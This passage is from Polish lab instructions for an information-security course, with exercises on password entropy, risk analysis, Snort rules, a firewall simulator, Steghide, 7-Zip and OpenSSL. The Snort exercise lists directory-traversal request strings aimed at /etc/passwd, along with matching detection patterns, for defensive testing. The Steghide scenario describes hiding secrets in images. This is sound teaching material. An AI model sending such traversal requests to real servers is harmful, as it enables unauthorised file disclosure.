       print(f"Haslo: '{haslo}' (Dlugosc: {dlugosc})")
       print(f"Rozmiar alfabetu: {rozmiar_alfabetu} znakow")
       print(f"Entropia: {entropia:.2f} bitow")
       print(f"Przestrzen klucza: {przestrzen:.2e} kombinacji")
       if lata > 1000:
           print(f"Szacowany czas brute force: {lata:.2e} lat\n")
       else:
           print(f"Szacowany czas brute force: {dni:.2f} dni ({lata:.2f} lat)\n")
   
   # 1. Krotkie haslo 'zlozone' (male, wielkie, cyfry, znaki specjalne = 94 znaki)
   analiza_hasla("Krotkie haslo zlozone", "P@s1!k9a", 94)
   
   # 2. Dluga fraza haslowa z samych malych liter (26 znakow alfabetu)
   analiza_hasla("Dluga fraza (Passphrase)", "poprawny-kon-skacze-wysoko", 26)
   EOF

3. Uruchom skrypt w terminalu:

   python3 entropia.py

4. Porównaj wyniki: zaobserwuj, że 8-znakowe hasło 'złożone' ma około 52 bity entropii, podczas gdy 26-znakowa fraza hasłowa ma ponad 122 bity entropii.
5. Zwróć uwagę na szacowany czas łamania: krótkie hasło może zostać złamane w kilka dni/tygodni na mocnym klastrze GPU, podczas gdy fraza hasłowa wymaga milionów lat.
6. Zapisz zrzut ekranu z wynikami obliczeń i załącz do raportu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Długość hasła (L) ma wykładniczo większy wpływ na przestrzeń poszukiwań niż rozmiar alfabetu znaków (N), zgodnie ze wzorem N do potęgi L.
• Wielowyrazowe frazy hasłowe (Passphrase) oferują znacznie wyższą entropię bitową przy jednoczesnej łatwości zapamiętania przez człowieka.
• Osiągnięcie: implementacja algorytmu oceny entropii informacyjnej haseł i dowód wyższości fraz hasłowych nad krótkimi hasłami złożonymi.

Cel

Celem zadania jest praktyczne opanowanie aparatu ilościowej analizy ryzyka w bezpieczeństwie informacji. Student implementuje model obliczeniowy w języku Python i wylicza roczną stratę oczekiwaną (ALE) dla incydentu awarii serwera oraz ocenia opłacalność wdrożenia zabezpieczenia.

Scenariusz

Zarząd pyta wprost, czy warto płacić 12 tysięcy rocznie za czujniki wycieku w serwerowni. Serwer wart jest 200 tysięcy, zalanie niszczy połowę wartości, a z historii wynika, że zdarza się raz na pięć lat. Bez liczb to tylko straszenie awarią. Twoim zadaniem jest policzyć to w Pythonie jak finansista: wyliczyć jednorazową stratę SLE, roczną stratę ALE, potem ALE po zabezpieczeniu, które zbija skutek do 10 procent, i pokazać oszczędność roczną minus koszt kontroli. Musisz przełożyć wynik na rekomendację biznesową: jeśli korzyść netto jest dodatnia, zakup się broni, jeśli nie, szukamy tańszej kontroli. To przykład ilościowej analizy ryzyka, którą zarząd rozumie lepiej niż opisy słowne.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub konsolę Python w Windows.
2. Napisz skrypt obliczający wskaźniki ryzyka ilościowego:

   cat << 'EOF' > analiza_ryzyka.py
   # Parametry wejsciowe aktywu i zagrozenia
   AV = 200000.0   # Asset Value (Wartosc Aktywu w PLN)
   EF = 0.50       # Exposure Factor (Wspolczynnik ekspozycji: 50%)
   ARO = 0.20      # Annual Rate of Occurrence (1 raz na 5 lat = 0.2)
   KOSZT_KONTROLI = 12000.0 # Roczny koszt zabezpieczenia w PLN
   
   # 1. Wyliczenie jednorazowej straty oczekiwanej (SLE = AV * EF)
   SLE = AV * EF
   
   # 2. Wyliczenie rocznej straty oczekiwanej (ALE = SLE * ARO)
   ALE = SLE * ARO
   
   # 3. Zabezpieczenie redukuje skutek do 10% (nowe EF = 0.10)
   ALE_po_zabezpieczeniu = (AV * 0.10) * ARO
   OSZCZEDNOSC_ROCZNA = ALE - ALE_po_zabezpieczeniu
   KORZYSC_NETTO = OSZCZEDNOSC_ROCZNA - KOSZT_KONTROLI
   
   print("=== ILOSCIOWA ANALIZA RYZYKA ===")
   print(f"Wartosc Aktywu (AV): {AV:,.2f} PLN")
   print(f"Jednorazowa strata oczekiwana (SLE): {SLE:,.2f} PLN")
   print(f"Roczna czestotliwosc (ARO): {ARO}")
   print(f"Roczna strata oczekiwana (ALE): {ALE:,.2f} PLN / rok")
   print(f"ALE po wdrozeniu zabezpieczenia: {ALE_po_zabezpieczeniu:,.2f} PLN / rok")
   print(f"Roczna redukcja ryzyka: {OSZCZEDNOSC_ROCZNA:,.2f} PLN")
   print(f"Koszt zabezpieczenia: {KOSZT_KONTROLI:,.2f} PLN")
   print(f"Korzysc finansowa netto (CBA): {KORZYSC_NETTO:,.2f} PLN / rok")
   EOF

3. Uruchom skrypt w terminalu:

   python3 analiza_ryzyka.py

4. Przeanalizuj wyniki: SLE wynosi 100 000 PLN, bazowe ALE wynosi 20 000 PLN rocznie.
5. Zauważ: wdrożenie zabezpieczenia redukuje ALE do 4 000 PLN (oszczędność 16 000 PLN). Ponieważ koszt kontroli wynosi 12 000 PLN, organizacja osiąga dodatnią korzyść netto 4 000 PLN rocznie.
6. Sformułuj w sprawozdaniu rekomendację biznesową dla zarządu uzasadniającą zakup zabezpieczenia na bazie analizy Cost-Benefit Analysis (CBA).
7. Wykonaj zrzut ekranu z wykonaniem skryptu i dołącz do sprawozdania.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Ilościowa analiza ryzyka pozwala wyrazić zagrożenia teleinformatyczne w uniwersalnych jednostkach finansowych zrozumiałych dla zarządu.
• Wskaźnik ALE stanowi bezpośrednią podstawę do wyznaczenia maksymalnego uzasadnionego budżetu na środki bezpieczeństwa (koszt zabezpieczenia nie powinien przekraczać redukcji ALE).
• Osiągnięcie: implementacja wzorów SLE, ARO, ALE oraz analiza opłacalności zabezpieczenia w języku Python.

Cel

Celem zadania jest praktyczne zaimplementowanie jakościowej macierzy oceny ryzyka 5 na 5 oraz sklasyfikowanie realnych incydentów teleinformatycznych wraz z przypisaniem im optymalnych strategii postępowania.

Scenariusz

Wdrażasz system zarządzania bezpieczeństwem według ISO 27001 i zarząd chce jednej czytelnej tabeli zamiast opisu pięciu różnych strachów: ransomware, kradzieży laptopa, awarii prądu, pomyłki w mailu i trzęsienia ziemi. Każde zagrożenie ma inne prawdopodobieństwo i inny skutek, a budżet nie starczy na wszystko naraz. Twoim zadaniem jest uruchomić skrypt macierzy 5 na 5, policzyć ryzyko jako iloczyn punktów, przypisać poziomy od niskiego po krytyczne i dobrać strategię: mitygację, transfer przez ubezpieczenie, unikanie albo akceptację. Musisz wyjaśnić, dlaczego ransomware z wynikiem 20 ląduje na szczycie kolejki, a trzęsienie ziemi mimo dużego skutku schodzi niżej przez niskie prawdopodobieństwo, oraz czym jest ryzyko szczątkowe po wdrożeniu kontroli.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom konsolę Python w terminalu JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub utwórz skrypt na Windows.
2. Napisz skrypt kwalifikujący incydenty w macierzy 5x5:

   cat << 'EOF' > macierz_ryzyka.py
   # Definicja 5 scenariuszy: (Nazwa, Prawdopodobienstwo 1-5, Skutek 1-5)
   scenariusze = [
       ("1. Atak ransomware na baze danych", 4, 5),
       ("2. Kradziez laptopa handlowca", 3, 2),
       ("3. Awaria zasilania w serwerowni", 2, 4),
       ("4. Pomylka pracownika (wyslanie maila)", 4, 2),
       ("5. Trzesienie ziemi w Warszawie", 1, 5)
   ]
   
   def kwalifikuj(p, s):
       r = p * s
       if r >= 15: return r, "KRYTYCZNE", "Unikanie / Natychmiastowa mitygacja"
       elif r >= 10: return r, "WYSOKIE", "Mitygacja (wdrozenie kontroli)"
       elif r >= 5: return r, "SREDNIE", "Transfer (ubezpieczenie) / Mitygacja"
       else: return r, "NISKIE", "Akceptacja ryzyka"
   
   print(f"{'Scenariusz':<40} | {'P':<2} | {'S':<2} | {'R=PxS':<5} | {'Poziom':<10} | {'Strategia'}")
   print("-" * 95)
   for nazwa, p, s in scenariusze:
       r, poziom, strat = kwalifikuj(p, s)
       print(f"{nazwa:<40} | {p:<2} | {s:<2} | {r:<5} | {poziom:<10} | {strat}")
   EOF

3. Uruchom skrypt:

   python3 macierz_ryzyka.py

4. Przeanalizuj wygenerowaną tabelę: zidentyfikuj incydent o najwyższym ryzyku (Ransomware: R = 4 * 5 = 20 -> Krytyczne).
5. Przypisz każdemu scenariuszowi jedną z 4 strategii: 1. Ransomware -> Mitygacja (kopie offline, EDR), 2. Kradzież laptopa -> Mitygacja (szyfrowanie BitLocker), 3. Awaria zasilania -> Transfer / Mitygacja (UPS, umowa SLA), 4. Pomyłka pracownika -> Mitygacja (szkolenia), 5. Trzęsienie ziemi -> Akceptacja.
6. Narysuj lub wygeneruj siatkę 5x5 i umieść w niej numery scenariuszy w odpowiednich komórkach.
7. Wykonaj zrzut ekranu wygenerowanej tabeli i zamieść w sprawozdaniu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Macierz ryzyka 5x5 pozwala na szybką wizualizację i priorytetyzację zagrożeń w organizacji.
• Dobór strategii zależy bezpośrednio od wyniku iloczynu P x S: ryzyka krytyczne wymagają natychmiastowych działań mitygujących, podczas gdy ryzyka niskie mogą zostać zaakceptowane.
• Osiągnięcie: implementacja macierzy ryzyka 5x5 i prawidłowe przypisanie strategii postępowania z ryzykiem.

Cel

Celem zadania jest praktyczne zapoznanie się ze składnią reguł sygnaturowych wiodącego systemu detekcji włamań Snort IDS. Student projektuje i analizuje regułę wykrywającą atak wyjścia poza katalog nadrzędny (Directory Traversal), a poprawność wykrywania weryfikuje symulatorem dopasowania sygnatur w Pythonie.

Scenariusz

W logach serwera WWW widać próby wyciągania pliku etc passwd przez dopisywanie kropek i ukośników do adresu URL. Administrator nie chce ręcznie przeglądać logów co noc, tylko dostać alert w SIEM, gdy ktoś wyśle taki wzorzec w ruchu HTTP. Twoim zadaniem jest napisać sygnaturę dla Snorta: akcję alert, protokół TCP, kierunek do sieci firmowej na port 80, treść content z ukośnikiem i kropkami oraz identyfikator reguły. Musisz rozłożyć regułę na części i wyjaśnić, po co jest flow, nocase i sid z rev, a potem dopisać wariant na kodowanie procentowe i na etc passwd. To pokaz działania IDS opartego na sygnaturach i kompromisu między czułością a fałszywymi alarmami.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator terminala JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub edytor tekstu w Windows.
2. W terminalu utwórz plik z projektowaną regułą systemu Snort:

   cat << 'EOF' > snort_local.rules
   alert tcp any any -> 192.168.1.0/24 80 (msg:"ATAK: Wykryto probe Directory Traversal w HTTP"; flow:to_server,established; content:"/.."; nocase; sid:1000005; rev:1;)
   EOF

3. Wyświetl treść reguły:

   cat snort_local.rules

4. Dokonaj szczegółowej dekompozycji składni reguły w notatkach:
   • Akcja reguły: alert (wygeneruj powiadomienie alarmowe w logu).
   • Protokół: tcp (monitorowanie ruchu warstwy transportowej).
   • Źródło: any any (dowolny zewnętrzny adres IP i port).
   • Kierunek: -> (ruch wchodzący do chronionej sieci).
   • Cel: 192.168.1.0/24 80 (serwery w podsieci firmowej nasłuchujące na porcie 80 HTTP).
   • Opcje reguły: msg (tekst alertu), flow: to_server,established (ruch sesyjny), content: "/.." (szukany wzorzec), nocase (brak wrażliwości na wielkość liter), sid/rev (identyfikator i rewizja).
5. Zmodyfikuj regułę tak, aby wykrywała również ciąg zakodowany procentowo (URL encode: %2e%2e) lub odczyt pliku /etc/passwd: dodaj drugą regułę z content:"etc/passwd".
6. Zweryfikuj działanie sygnatury symulatorem w Pythonie (odpowiednik silnika Snort: dopasowanie pola content bez względu na wielkość liter, jak opcja nocase):

   cat << 'EOF' > test_snort.py
   import re
   wzorce = [r"/\\.\\.", r"%2e%2e", r"etc/passwd"]  # pola content z obu regul
   log = [
       "GET /index.html HTTP/1.1",
       "GET /../../etc/passwd HTTP/1.1",
       "GET /%2e%2e/%2e%2e/etc/passwd HTTP/1.1",
   ]
   for linia in log:
       traf = [w for w in wzorce if re.search(w, linia, re.IGNORECASE)]
       print(("ALERT Snort: " if traf else "OK (ruch czysty): ") + linia)
   EOF
   python3 test_snort.py

   Potwierdź, że obie próby ataku kończą się alertem, a zwykłe żądanie pozostaje czyste.
7. Wykonaj zrzut ekranu pliku reguł oraz wyniku symulatora z opisem parametrów do sprawozdania.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Systemy detekcji włamań (IDS) opierają się na analizie dopasowania sygnatur (wzorców binarnych i tekstowych) w czasie rzeczywistym.
• Prawidłowa konstrukcja reguły wymaga precyzyjnego określenia kierunku ruchu (flow) i portów, aby minimalizować obciążenie procesora oraz liczbę fałszywych alarmów (False Positives).
• Osiągnięcie: opracowanie i analiza składni sygnatury detekcyjnej Snort IDS dla ataku Directory Traversal.

Cel

Celem zadania jest praktyczne wdrożenie fundamentalnej zasady Default Deny (domyślnego blokowania) na poziomie zapory sieciowej w systemie Linux. Student implementuje w Pythonie symulator stanowej zapory filtrującej w składni reguł Iptables (Windows lub JSLinux, bez uprawnień administratora i bez maszyny wirtualnej).

Scenariusz

Audyt wykazał, że serwer produkcyjny przepuszcza cały ruch wejściowy, bo domyślna polityka to ACCEPT. To jak otwarte drzwi do wszystkich usług, także tych testowych zapomnianych przez programistów. Masz to zmienić na zasadę default deny: domyślnie blokuj, a dopuszczaj tylko to, co jawnie potrzebne. Twoim zadaniem jest zbudować w Pythonie symulator stanowej zapory działający jak Iptables: lista reguł sprawdzana od góry, pierwsze dopasowanie wygrywa, na końcu domyślny DROP. Zaimplementujesz wyjątki (pętla zwrotna, ruch powrotny ESTABLISHED, port 80 TCP), przepuścisz przez filtr pakiety testowe (WWW, SSH, zapomniany serwis testowy) i pokażesz, że przechodzi tylko ruch jawnie dopuszczony. Musisz wyjaśnić, dlaczego kolejność reguł ma znaczenie i jak ta jedna warstwa wpisuje się w obronę w głąb obok IDS, MFA i szyfrowania.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub środowisko Python w Windows (wystarczy Python portable, bez instalacji i bez uprawnień administratora).
2. Utwórz symulator zapory w składni reguł Iptables (reguły sprawdzane od góry, pierwsze dopasowanie wygrywa, na końcu polityka Default Deny):

   cat << 'EOF' > fwsim.py
   REGULY = [
       ("lo",          "ACCEPT"),  # iptables -A INPUT -i lo -j ACCEPT
       ("established", "ACCEPT"),  # -m state --state ESTABLISHED,RELATED -j ACCEPT
       ("tcp/80",      "ACCEPT"),  # -p tcp --dport 80 -j ACCEPT
   ]
   POLITYKA = "DROP"  # iptables -P INPUT DROP (Default Deny)
   
   pakiety = [
       ("lo",          "ruch wewnetrzny"),
       ("established", "odpowiedz serwera WWW"),
       ("tcp/80",      "nowe polaczenie do strony"),
       ("tcp/22",      "proba SSH z internetu"),
       ("tcp/8080",    "zapomniany serwis testowy"),
   ]
   for pakiet, opis in pakiety:
       decyzja = next((a for (w, a) in REGULY if w == pakiet), POLITYKA)
       print(f"{pakiet:12} -> {decyzja:6} ({opis})")
   EOF
   python3 fwsim.py

3. Przeanalizuj wynik: przechodzą wyłącznie pętla zwrotna, ruch powrotny i port 80 TCP; próba SSH oraz zapomniany serwis testowy kończą się na domyślnym DROP.
4. Udowodnij znaczenie kolejności reguł: dopisz na początek listy regułę ("tcp/80", "DROP"), uruchom ponownie i zaobserwuj zablokowanie strony WWW (pierwsze dopasowanie wygrywa). Przywróć pierwotną kolejność.
5. Wykonaj zrzut ekranu terminala prezentujący wynik symulatora (decyzje ACCEPT/DROP dla pakietów testowych).

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Zasada Default Deny (domyślna odmowa) wymusza blokowanie każdego ruchu, który nie został jawnie dopuszczony na liście reguł, eliminując nieautoryzowane próby połączeń.
• Zapora sieciowa stanowi pierwszą linię obrony w architekturze Defense in Depth (obrona w głąb), redukując powierzchnię ataku na usługi systemowe.
• Osiągnięcie: implementacja symulatora stanowej zapory Iptables z polityką domyślnego odrzucania (Default Deny) w Pythonie.

Cel

Celem zadania jest praktyczne zastosowanie steganografii cyfrowej w środowisku Windows za pomocą programu Steghide Portable. Student bada proces osadzania tajnego pliku tekstowego w nośniku graficznym JPEG/BMP z równoległym zabezpieczeniem kryptograficznym hasłem (algorytm Rijndael-128 w trybie CBC), weryfikuje brak widocznych artefaktów wizualnych oraz przeprowadza ekstrakcję danych.

Scenariusz

Pracujesz w zespole monitorowania bezpieczeństwa teleinformatycznego. Podczas audytu stacji roboczych pojawia się podejrzenie, że jeden z pracowników może wynosić poufne hasła do systemów, ukrywając je w plikach ze zdjęciami firmowymi przesyłanymi na zewnątrz. Aby ocenić ryzyko takiego kanału i przygotować wytyczne dla analityków, musisz odtworzyć ten mechanizm w kontrolowanym środowisku Windows bez praw administratora. Twoim zadaniem jest pobrać wersję przenośną programu Steghide, przygotować plik z hasłem, osadzić go wewnątrz obrazu z nałożeniem hasła zabezpieczającego, sprawdzić zachowanie obrazu w przeglądarce graficznej, a następnie przeprowadzić inspekcję nośnika i odzyskać ukryty dokument.

Pomocnik - jak wykonać zadanie krok po kroku

1. Pobierz archiwum Steghide Portable (plik zip) ze strony projektu lub skorzystaj z katalogu udostępnionego przez prowadzącego i rozpakuj go do własnego folderu roboczego (np. w katalogu Pobrane lub Dokumenty). Otwórz w tym folderze konsolę PowerShell.
2. Sprawdź dostępność programu i jego wersję za pomocą polecenia:

   .\steghide.exe --version

3. Przygotuj nośnik graficzny w formacie JPEG lub BMP (np. plik obraz.jpg). Najlepiej użyj dowolnego prawdziwego zdjęcia JPEG z dysku (np. fotografii z telefonu). Ewentualnie pobierz mały obraz testowy w formacie JPEG za pomocą polecenia:

   Invoke-WebRequest -Uri "https://upload.wikimedia.org/wikipedia/commons/thumb/3/3f/Fronalpstock_big.jpg/640px-Fronalpstock_big.jpg" -OutFile "obraz.jpg"

   Uwaga: Steghide obsługuje wyłącznie formaty JPEG, BMP, WAV i AU - nie wolno zapisywać pliku PNG pod nazwą z rozszerzeniem .jpg, bo program rozpozna format po nagłówku i odmówi osadzenia.
4. Utwórz plik tekstowy zawierający poufne dane:

   Set-Content -Path "tajne.txt" -Value "POUFNY_KLUCZ_API_2026: 8fA7b29CqL1m"

5. Sprawdź parametry nośnika przed wykonaniem modyfikacji:

   .\steghide.exe info obraz.jpg

   Odpowiedz 'n' na pytanie o hasło, aby odczytać wyłącznie parametry pojemności nośnika (pojemność steganograficzna). Kontrola obowiązkowa: w wyniku musi widnieć format: jpeg (lub bmp) - w przeciwnym razie pobierz inny plik.
6. Osadź plik tajne.txt wewnątrz pliku graficznego z zabezpieczeniem hasłem:

   .\steghide.exe embed -cf obraz.jpg -ef tajne.txt -p "MojeHasloStego123!"

7. Otwórz plik obraz.jpg w systemowej przeglądarce zdjęć Windows. Zauważ, że obraz wyświetla się całkowicie poprawnie, a wzrokowa ocena nie ujawnia jakichkolwiek różnic czy zniekształceń.
8. Usuń plik pierwotny tajne.txt, aby przygotować środowisko do testu ekstrakcji:

   Remove-Item -Path "tajne.txt"

9. Zweryfikuj zawartość nośnika steganograficznego z podaniem hasła:

   .\steghide.exe info obraz.jpg -p "MojeHasloStego123!"

   Odczytaj informacje o osadzonym pliku, jego rozmiarze oraz zastosowanym algorytmie szyfrowania (Rijndael-128 w trybie CBC).
10. Wyodrębnij ukryty plik tekstowy:

    .\steghide.exe extract -sf obraz.jpg -p "MojeHasloStego123!"

    Wyświetl zawartość odzyskanego pliku poleceniem Get-Content tajne.txt.
11. Przetestuj próbę ekstrakcji przy użyciu błędnego hasła i zaobserwuj komunikat błędu uniemożliwiający wydobycie danych bez znajomości sekretu.
12. Wykonaj zrzut ekranu przedstawiający polecenie osadzania, wynik polecenia info oraz odzyskanie pliku.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Steganografia nośnikowa w programie Steghide łączy ukrywanie obecności danych w dziedzinie częstotliwościowej obrazu (współczynniki DCT) z symetrycznym szyfrowaniem Rijndael-128.
• Zwykła steganografia bez szyfrowania zdradza treść po wykryciu nośnika; połączenie steganografii z hasłem chroni poufność nawet w przypadku przechwycenia pliku.
• Osiągnięcie: osadzenie i bezbłędne odzyskanie ukrytego pliku w obrazie na systemie Windows za pomocą narzędzia Steghide Portable.

Cel

Celem zadania jest praktyczne zbadanie wpływu szyfrowania nagłówków archiwum na ochronę metadanych. Student porównuje zachowanie standardowego archiwum ZIP/7Z z archiwum 7z wykorzystującym parametr szyfrowania nagłówków (-mhe=on), analizując widoczność nazw plików, struktury katalogów i rozmiarów danych dla osoby nieznającej hasła.

Scenariusz

W przedsiębiorstwie przygotowywana jest procedura zabezpieczania poufnych dokumentów kadrowo-płacowych przed przekazaniem ich do chmury obliczeniowej. Pracownicy do tej pory tworzyli zwykłe archiwa ZIP zabezpieczone hasłem. Podczas wstępnego audytu bezpieczeństwa zauważasz, że każdy użytkownik mający dostęp do pliku ZIP może bez trudu odczytać nazwy plików, daty ich utworzenia oraz strukturę katalogów, co ujawnia m.in. listę zwalnianych pracowników czy strukturę wynagrodzeń zarządu. Twoim zadaniem jest przeprowadzić demonstrację w programie 7-Zip Portable: utworzyć archiwum bez szyfrowania nagłówków oraz archiwum w formacie 7z z opcją '-mhe=on' (szyfrowanie nagłówków bloków), pokazać różnicę w widoczności danych bez podania hasła i wykazać, jak pełne szyfrowanie eliminuje wyciek metadanych.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom program 7-Zip Portable (lub w konsoli PowerShell przejdź do katalogu z plikiem 7z.exe).
2. W oknie konsoli PowerShell utwórz katalog testowy z przykładowymi dokumentami kadrowymi:

   New-Item -ItemType Directory -Path "DaneKadrowe" -Force
   Set-Content -Path "DaneKadrowe\Lista_Plac_Zarzad_2026.txt" -Value "Prezes: 45000 PLN, Wiceprezes: 32000 PLN"
   Set-Content -Path "DaneKadrowe\Plan_Restrukturyzacji_Etaty.docx" -Value "Dokument poufny dzialu HR"

3. Utwórz archiwum ZIP z nałożonym hasłem za pomocą polecenia konsolowego:

   .\7z.exe a -tzip -p"BezpieczneHaslo2026!" archiwum_standard.zip .\DaneKadrowe\*

   (Alternatywnie w interfejsie graficznym 7-Zip: Dodaj do archiwum -> Format archiwum: zip -> Wprowadź hasło).
4. Wyświetl spis zawartości utworzonego archiwum ZIP bez podawania hasła:

   .\7z.exe l archiwum_standard.zip

   Zwróć uwagę, że program bez problemu wyświetlił pełne nazwy plików oraz ich rozmiary.
5. Utwórz drugie archiwum w formacie 7z z włączonym parametrem szyfrowania nagłówków (uwaga: parametr -mhe=on działa wyłącznie z formatem -t7z, nie wolno go stosować z -tzip):

   .\7z.exe a -t7z -p"BezpieczneHaslo2026!" -mhe=on archiwum_bezpieczne.7z .\DaneKadrowe\*

   (W interfejsie graficznym: Format archiwum: 7z -> Wprowadź hasło -> zaznacz pole 'Zaszyfruj nazwy plików').
6. Spróbuj wyświetlić spis zawartości archiwum archiwum_bezpieczne.7z bez podawania hasła:

   .\7z.exe l archiwum_bezpieczne.7z

   Zauważ, że program nie ujawnia żadnej nazwy ani metadanych - prosi o hasło albo zgłasza błąd otwarcia archiwum (dokładna treść komunikatu, np. Can not open the file as archive, zależy od wersji 7-Zip).
7. Wyświetl zawartość archiwum 7z z podaniem prawidłowego hasła:

   .\7z.exe l -p"BezpieczneHaslo2026!" archiwum_bezpieczne.7z

   Odczytaj nagłówek techniczny potwierdzający użycie metody 7zAES (szyfrowanie AES-256).
8. Przetestuj proces wypakowania archiwum do nowego katalogu za pomocą polecenia:

   .\7z.exe x -p"BezpieczneHaslo2026!" -o"Odzyskane" archiwum_bezpieczne.7z

9. Wykonaj zrzut ekranu porównujący wynik polecenia listowania zawartości dla obu archiwów.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Format ZIP szyfruje wyłącznie zawartość poszczególnych strumieni danych (Local File Header i File Data), pozostawiając katalog główny (Central Directory) w tekście jawnym.
• Format 7z z opcją -mhe=on szyfruje zarówno dane, jak i tablicę nagłówków bloków za pomocą algorytmu AES-256, uniemożliwiając poznanie jakichkolwiek metadanych bez uprzedniego uwierzytelnienia.
• Osiągnięcie: praktyczne wykazanie wycieku metadanych w formacie ZIP oraz skuteczne zabezpieczenie poufności plików i ich nazw za pomocą 7-Zip Portable.

Cel

Celem zadania jest praktyczne porównanie dwóch głównych gałęzi kryptologii - algorytmu symetrycznego AES-256 oraz algorytmu asymetrycznego RSA-2048 - w konsoli Windows przy użyciu przenośnego narzędzia OpenSSL. Student przeprowadza pełny cykl szyfrowania i deszyfrowania dla obu modeli oraz bada ich kluczowe różnice funkcjonalne.

Scenariusz

Projektujesz moduł kryptograficzny dla aplikacji pracującej w środowisku Windows. Aplikacja musi realizować dwa zadania: szyfrować duże lokalne pliki konfiguracyjne wspólnym kluczem administracyjnym oraz bezpiecznie przesyłać poufne klucze sesyjne do serwera centralnego, z którym stacja nie dzieli wcześniej ustalonego sekretu. Musisz przetestować oba mechanizmy na stanowisku roboczym przy użyciu OpenSSL Portable. W części symetrycznej konfigurujesz AES-256-CBC z funkcją PBKDF2 i solą. W części asymetrycznej generujesz 2048-bitową parę kluczy RSA, eksportujesz klucz publiczny, szyfrujesz komunikat kluczem publicznym i deszyfrujesz kluczem prywatnym, wykazując matematyczną asymetrię ról obu kluczy.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz konsolę PowerShell w katalogu roboczym zawierającym program openssl.exe (np. ze środowiska Git: & 'C:\Program Files\Git\usr\bin\openssl.exe' lub & 'C:\Program Files\Git\mingw64\bin\openssl.exe', albo rozpakowany pakiet OpenSSL Portable). Jeżeli polecenie openssl nie jest rozpoznawane, zlokalizuj program poleceniem where openssl.
2. Sprawdź poprawność działania programu i zainstalowaną wersję:

   openssl version

3. Utwórz plik z tajnym komunikatem testowym:

   Set-Content -Path "wiadomosc.txt" -Value "POUFNA_DECYZJA_ZARZADU_2026_PROJEKT_DELTA"

4. Wykonaj szyfrowanie symetryczne AES-256-CBC z derywacją klucza PBKDF2:

   openssl enc -aes-256-cbc -salt -pbkdf2 -iter 100000 -in wiadomosc.txt -out wiadomosc.enc -pass pass:MojeTrudneHasloSymetryczne#2026

5. Odszyfruj plik symetryczny i zweryfikuj zgodność z oryginałem:

   openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -in wiadomosc.enc -out wiadomosc_dec.txt -pass pass:MojeTrudneHasloSymetryczne#2026
   Compare-Object (Get-Content wiadomosc.txt) (Get-Content wiadomosc_dec.txt)

   Brak różnic w wyjściu polecenia Compare-Object oznacza pełną zgodność odzyskanych danych.
6. Przejdź do części asymetrycznej: wygeneruj 2048-bitowy klucz prywatny RSA w formacie PEM:

   openssl genpkey -algorithm RSA -out klucz_prywatny.pem -pkeyopt rsa_keygen_bits:2048

7. Wyodrębnij odpowiadający mu klucz publiczny RSA:

   openssl pkey -in klucz_prywatny.pem -pubout -out klucz_publiczny.pem

8. Wyświetl nagłówki obu plików za pomocą polecenia Get-Content:

   Get-Content klucz_publiczny.pem | Select-Object -First 3

   Zwróć uwagę na znacznik -----BEGIN PUBLIC KEY-----.
9. Zaszyfruj plik tekstowy za pomocą klucza publicznego odbiorcy przy użyciu narzędzia pkeyutl:

   openssl pkeyutl -encrypt -pubin -inkey klucz_publiczny.pem -in wiadomosc.txt -out wiadomosc_rsa.enc

10. Odszyfruj plik za pomocą klucza prywatnego:

    openssl pkeyutl -decrypt -inkey klucz_prywatny.pem -in wiadomosc_rsa.enc -out wiadomosc_rsa_dec.txt

11. Odczytaj odszyfrowany plik i upewnij się, że treść jest identyczna z pierwotną:

    Get-Content wiadomosc_rsa_dec.txt

12. Wykonaj zrzut ekranu prezentujący wykonanie poleceń generowania kluczy RSA oraz szyfrowania i deszyfrowania pkeyutl.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Szyfrowanie symetryczne (AES) charakteryzuje się bardzo wysoką wydajnością obliczeniową, lecz wymaga bezpiecznego kanału do wcześniejszego przekazania tajnego hasła lub klucza.
• Kryptografia asymetryczna (RSA) rozwiązuje problem dystrybucji kluczy: klucz publiczny może być udostępniony publicznie każdemu nadawcy, a operację deszyfrowania potrafi przeprowadzić jedynie posiadacz powiązanego klucza prywatnego.
• Osiągnięcie: zrealizowanie pełnego cyklu szyfrowania symetrycznego AES-256 oraz operacji na kluczach asymetrycznych RSA-2048 w OpenSSL na Windows.

Cel

Celem zadania jest praktyczne zbadanie mechanizmu alternatywnych strumieni danych (Alternate Data Streams - ADS) w systemie plików NTFS pod kątem ukrywania informacji oraz analizy powłamaniowej. Student uczy się dołączać ukryte strumienie danych do plików, odczytywać je i wykrywać ich obecność bez uprawnień administratora.

Scenariusz

